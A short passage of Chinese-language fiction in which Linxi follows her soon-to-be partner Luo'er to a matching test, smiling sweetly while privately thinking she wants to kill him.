“什么有意思？”聆汐问。 “没什么。”洛尔转身，走向检测区：“走吧，该做匹配测试了，过了测试，我们就是正式搭档了。” 聆汐看着他的背影。 看着那头耀眼的金发，看着那个看似无害的优雅背影…… 她的手在身后握成了拳。 弄死你？ 对，我就是这么想的。 你猜对了。 但她脸上依然挂着乖巧的笑容，快步跟了上去。